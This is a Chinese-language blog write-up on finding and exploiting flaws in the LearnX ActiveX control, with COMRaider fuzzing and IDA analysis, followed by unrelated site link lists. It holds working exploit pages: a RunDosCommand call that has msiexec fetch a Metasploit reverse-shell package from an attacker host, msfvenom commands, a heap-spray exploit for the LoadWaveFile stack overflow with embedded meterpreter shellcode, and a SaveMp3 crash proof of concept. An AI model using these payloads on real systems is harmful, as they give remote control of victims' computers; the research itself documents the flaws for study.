LearnX控件漏洞挖掘与利用
前言
大学英语会用到一个 ActiveX 插件 LearnX ,最近从网上下了一个下来分析了一下,找到了一些漏洞并完成了 exploit . 虽然涉及的知识比较老旧,不过还是挺有意思的。这里分享一下整个过程。
相关文件
链接: https://pan.baidu.com/s/1jfDIInXD4k1nGOeCghEGDg 提取码: dmm6
解压密码:9179ee68791ae58187eb30837370aae4
正文
分析准备
首先在网上下载了一个安装程序,下载并安装到电脑上。
https://language.jhun.edu.cn/1c/f6/c3570a72950/page.htm
由于是 ActiveX 的程序,可以下一个 COMRaider 来辅助分析并 fuzz .
https://github.com/dzzie/COMRaider
安装好插件后使用 COMRaider 来打开 .ocx 文件,查看控件暴露给浏览器的接口。

然后选中程序安装目录下的 .ocx 文件给 COMRaider 分析。

PS: 程序的默认安装目录为
C:\Program Files\Pattek\LearnX
打开后, COMRaider 就会列出控件提供的所有函数名称和参数信息。

接下来就是对这些接口进行分析。
漏洞分析
RunDosCommand 接口命令执行漏洞
首先浏览一遍函数接口,发现一个有意思的接口
RunDosCommand

它的参数为字符串,根据函数名和参数类型可以猜测这应该是执行一条系统命令。于是构造一个 html 页面用js 调用看看。
我们可以使用 COMRaider 的 fuzz 功能快速生成一个测试用的 html , 然后再生成的脚本上进行一些修改。

点击 Test Exploit in IE 后 , COMRaider 会监听在 1325 端口,然后弹出 ie 访问。
http://127.0.0.1:1325/test.html
我们把源码保存下来,然后修改一下。

代码用 object 标签引用控件,然后使用 vbscript 调用的控件的方法。我们把它修改成 js 的代码,同时去掉一些没用的代码。
弹个计算器看看
<html>
<object classid='clsid:31F4B58F-5981-488D-94A6-6CA7AC034FAC' id='target'></object>
<script language='javascript'>
target.RunDosCommand("calc");
</script>
</html>

下面用 msiexec 弹一个 shell 回来。
<html>
<object classid='clsid:31F4B58F-5981-488D-94A6-6CA7AC034FAC' id='target'></object>
<script language='javascript'>
// msfvenom -f msi -p windows/meterpreter/reverse_tcp lhost=192.168.245.128 lport=4444 > r
target.RunDosCommand("msiexec /q /i http://192.168.245.128/r");
</script>
</html>
首先用 msfvenom 生成一个 msi 格式的 payload。
msfvenom -f msi -p windows/meterpreter/reverse_tcp lhost=192.168.245.128 lport=4444 > r
然后用 python 起一个 http 服务器并设置好 msf 等待链接。
让 IE 加载 poc 页面即可反弹一个 shell 回来.

LoadWaveFile栈溢出漏洞
下面我们使用 COMRaider 来 fuzz 一下一些函数,这里以 LoadWaveFile 为被 fuzz 的对象,介绍下使用 COMRaider 进行 fuzz 的方式。
选择要 fuzz 的函数,右键 选择 fuzz member。

然后会生成一堆测试样本,点击 next , 继续然后点击 Begin Fuzz 开始 测试。

不一会儿就会测出异常

然后暂停,右键出现异常的样本,选择 Test Exploit in IE

会发现 IE 打开网页后会报错,这样我们就拿不到奔溃的样本,这时可以用 chrome 去访问页面,拿到 html
的源码。

转成 js 的版本。
<html>
Test Exploit page
<object classid='clsid:31F4B58F-5981-488D-94A6-6CA7AC034FAC' id='target' ></object>
<script>
var buf = '';
while(buf.length < 1044){
buf +='A';
}
target.LoadWaveFile(buf);
</script>
</html>
可以看到就是传了 1044 个 A 给 LoadWaveFile 这个 API 。使用 IE 加载 poc , ie 不会 crash , 这是因为 ie 内部有异常处理机制,我们可以使用调试器调试看看。
为了方便调试在触发漏洞前,加一个 alert 语句等待调试器 attach 上去。

在弹出框后使用 x64dbg 的 32 版本附加到 SysFader 这个进程, 因为好像 ActiveX 控件会加载到这个进程,而不是下面那个 tab 的进程。

等调试器附加上去后,继续运行脚本,调试器会中断几次,一直 f9 继续运行 2 次,可以看到 eip 已经变成 0x41414141。

下面我们分析一下漏洞的成因,把 LearnX.ocx 拖到 ida 里面分析。搜索函数字符串,然后交叉引用可以找到一个类似于函数表的区域。

表中的每一项代表一个函数,每一项的结构大概为
struct item{
char* function_name; // 函数名
char dummy[0xc]; // 未知用途
void * function_ptr; // 函数的指针
}
图中函数名指针位于 0x02E6E520 , 函数指针位于 0x02E6E530 . 跟进去看看函数的实现。函数有两个参数
int __thiscall LoadWaveFile(char *this, char *a2)
第二个参数是我们的输入。在函数的后面会调用 strcpy 复制我们的输入到栈上.

此处栈的大小为 0x514 , 而我们输入的样本长度只有 1044 个字符, 应该覆盖不到返回地址。所以下面应该还有其他的溢出位置。

在这个函数下断点,然后不断调试发现在 0x02E37FFA 处会调用 sprintf 往栈上写数据,此时的目的缓冲区的大小为 0x114 , 参数为
sprintf(&v39, "%s%s",&String, a2) // a2 为我们的输入

所以我们的样本触发栈溢出的位置是这个地方, sprintf 和 strcpy 一样不会校验字符串的长度,会造成栈溢出。
漏洞利用的话,由于测试环境是 xp + ie8 没有 dep , 所以直接使用 堆喷射 + shellcode 即可。
<html>
<script src="heaplib.js"></script>
<script language='javascript'>
var heap_obj = new heapLib.ie(0x10000);
// 反弹到 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.245.128 lport=4444 -f js_le
var code = unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u685d%u3233%u0000%u7768%u3273%u545f%u4c68%u2677%u8907%uffe8%ub8d0%u0190%u0000%uc429%u5054%u2968%u6b80%uff00%u6ad5%u6801%ua8c0%u80f5%u0268%u1100%u895c%u50e6%u5050%u4050%u4050%u6850%u0fea%ue0df%ud5ff%u6a97%u5610%u6857%ua599%u6174%ud5ff%uc085%u0a74%u4eff%u7508%ue8ec%u0067%u0000%u006a%u046a%u5756%u0268%uc8d9%uff5f%u83d5%u00f8%u367e%u368b%u406a%u0068%u0010%u5600%u006a%u5868%u53a4%uffe5%u93d5%u6a53%u5600%u5753%u0268%uc8d9%uff5f%u83d5%u00f8%u287d%u6858%u4000%u0000%u006a%u6850%u2f0b%u300f%ud5ff%u6857%u6e75%u614d%ud5ff%u5e5e%u0cff%u0f24%u7085%uffff%ue9ff%uff9b%uffff%uc301%uc629%uc175%ubbc3%ub5f0%u56a2%u006a%uff53%u41d5");
var nops = unescape("%u9090%u9090"); //NOPs
while (nops.length < 0x1000) nops += nops; // create big block of nops
var shellcode = nops.substring(0, 0x800 - code.length) + code;
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(2, 0x40000 - 0x21);
//spray
for (var i = 0; i < 500; i++) {
heap_obj.alloc(block);
}
alert("Spray done");
// Can't directly drag into iexplore
</script>
<object classid='clsid:31F4B58F-5981-488D-94A6-6CA7AC034FAC' id='target' ></object>
<script>
var buf = '';
// 修改返回地址到 0x0c0c0c0c
while (buf.length < 512){
buf += unescape("%0c%0c%0c%0c");
}
alert(target);
target.LoadWaveFile(buf);
</script>
</html>
PS: heaplib.js 是一个用于堆喷射的 js 库, 还有不能直接用文件方式打开,需要自己打一个 http 服务器,
让 ie 去请求网页。
其他的一些漏洞
之后随便分析了几个 .rdata 上的函数表里面的函数, 发现了一些类似的问题。这里列举一下。
CMPGetWordScore信息泄露
这个函数直接使用我们的输入作为索引去读取 this 对象里面的数据返回。

this 对象里面会有一些指针,会造成信息泄露。
SaveMp3栈溢出
函数开头用 sprintf 把输入字符串写入栈中, 造成栈溢出。

poc
<html>
Test Exploit page
<object classid='clsid:31F4B58F-5981-488D-94A6-6CA7AC034FAC' id='target' ></object>
<script>
var buf = '';
while (buf.length < 512){
buf += 'A';
}
alert(target);
target.SaveMp3(buf);
</script>
参考
https://www.cnblogs.com/0xJDchen/p/5944410.html
https://evi1cg.me/archives/remote_exec.html
LearnX控件漏洞挖掘与利用的更多相关文章
- ActiveX 控件漏洞挖掘之方法
ActiveX是微软公司提出,并在1996年被正式命名的组件技术.该技术提供了一种通用的开放程序接口,使用这种技术开发的ActiveX控件可以直接集成到IE浏览器或第三方应用程序中,但由于第三方编程等 ...
- CVE-2016-10191 FFmpeg RTMP Heap Buffer Overflow 漏洞分析及利用
作者:栈长@蚂蚁金服巴斯光年安全实验室 一.前言 FFmpeg是一个著名的处理音视频的开源项目,使用者众多.2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2016-10190 ...
- C# winform 跨线程更改窗体控件的属性
当winform程序中新开一个线程,是无法改变主线程中窗体控件的属性的,否则运行时会报错. 若想在其他线程中控制主线程中的窗体控件,则必须利用BeginInvoke方法. 例如:添加一个名为textb ...
- app控件获取之uiautomatorviewer
初探 在Android的SDk提供了以下的工具来支持我们进行UI自动化测试: uiautomatorviewer:用来扫描和分析Android应用程序的UI控件的工具. uiautomator:一个包 ...
- Flex 日期选择器控件
在构建用户界面时,经常用到日期的输入和选择. 输入日期时,用户可以使用键盘输入,也可以在类似于日历的弹出式对话框中,通过鼠标单击所选日期. 在Flex中可以通过日期输入控件实现输入和选择日期.Flex ...
- 浅析五大ASP.NET数据控件
转自:http://kb.cnblogs.com/page/69207/ 摘要:ASP.NET中有不少的控件,在这当中有一部分是用来处理数据的控件.在这里我们正要讨论的就是ASP.NET数据控件,希望 ...
- Appium移动自动化测试(五)--app控件获取之uiautomatorviewer
初探 在Android的SDk提供了以下的工具来支持我们进行UI自动化测试: uiautomatorviewer:用来扫描和分析Android应用程序的UI控件的工具. uiautomator:一个包 ...
- LabVIEW(十二):VI本地化-控件标题内容的修改
一.对于一般LabVIEW的学习,很少遇到本地化的问题但是我们经常会遇到界面控件标题的显示问题.由于各个技术领域的专业性,往往用户对VI界面的显示有自己的要求,其中就包括控件的标题问题,这可以理解成本 ...
- Qt的action控件中采用默认绑定,没有connect显示绑定!!!
使用qt创建界面时,可以选用代码设计也可以选用qt design来设计.最近看我同事的代码,以前写action都是使用connect链接槽函数的, 网上大多数人都是这样,然后我就纳闷,怎么没有conn ...
随机推荐
- 《你不知道的javascript》读书笔记2
概述 放假读完了<你不知道的javascript>上篇,学到了很多东西,记录下来,供以后开发时参考,相信对其他人也有用. 这篇笔记是这本书的下半部分,上半部分请见<你不知道的java ...
- Swift5 语言指南(十六) 初始化
初始化是准备要使用的类,结构或枚举的实例的过程.此过程涉及为该实例上的每个存储属性设置初始值,并执行在新实例准备好使用之前所需的任何其他设置或初始化. 您可以通过定义实现这个初始化过程初始化,这就像特 ...
- Linux - 修改内核启动顺序及删除无用内核
现象: CentOS7开机启动界面显示多个内核选项 原因: 正常情况下,有两个启动项,一个是"正常启动",另一个是"救援模式启动"(rescue). 如果启动项 ...
- SGD vs Momentum vs NAG vs Adagrad vs Adadelta vs RMSprop vs Adam
梯度下降优化基本公式:\({\theta\leftarrow\theta-\eta\cdot\nabla_\theta{J(\theta)}}\) 三种梯度下降优化框架 这三种梯度下降优化框架的区别在 ...
- 上下文无关的GMM-HMM声学模型
一.语音识别基本介绍 (一)统计语音识别的基本等式 X------声学特征向量序列,观测值 W------单词序列 W*------给定观测值下,概率最大的单词序列 应用贝叶斯理论等价于 进而得出统计 ...
- Python模块——configparser
configparser模块 该模块适用于配置文件的格式与windows ini文件类似,可以包含一个或多个节(section),每个节可以有多个参数(键=值) 创建文件 import configp ...
- github相关指令学习
正在廖雪峰官网学习关于git的相关知识,已经不是第一次来学习,但是忘得太快,索性这次边学边记录笔记,加深记忆,方便后期查看 1.找到一个合适的地方,鼠标右键 Git Bush Here ,新建文件夹, ...
- h5端呼起摄像头扫描二维码并解析
2016年6月29日补充: 最近做了一些与表单相关的项目,使用了h5的input控件,在使用过程中遇到了很多的坑.也包括与这篇文章相关的. 首先我们应该知道使用h5新提供的属性getUserMedia ...
- iOS开发(3):tips提示 | 如何提示一行文字或一个图片
我有一个需求:在点击或长按某个按钮时,显示提示,包括简单的文字提示,还有复杂一点的图片甚至是动态图的提示(可能还要加上文字),怎么实现呢? (1)文字tips 使用之前介绍的qmuikit里面的QMU ...
- 通过反编译深入理解Java String及intern
一.字符串问题 字符串在我们平时的编码工作中其实用的非常多,并且用起来也比较简单,所以很少有人对其做特别深入的研究.倒是面试或者笔试的时候,往往会涉及比较深入和难度大一点的问题.我在招聘的时候也偶尔会 ...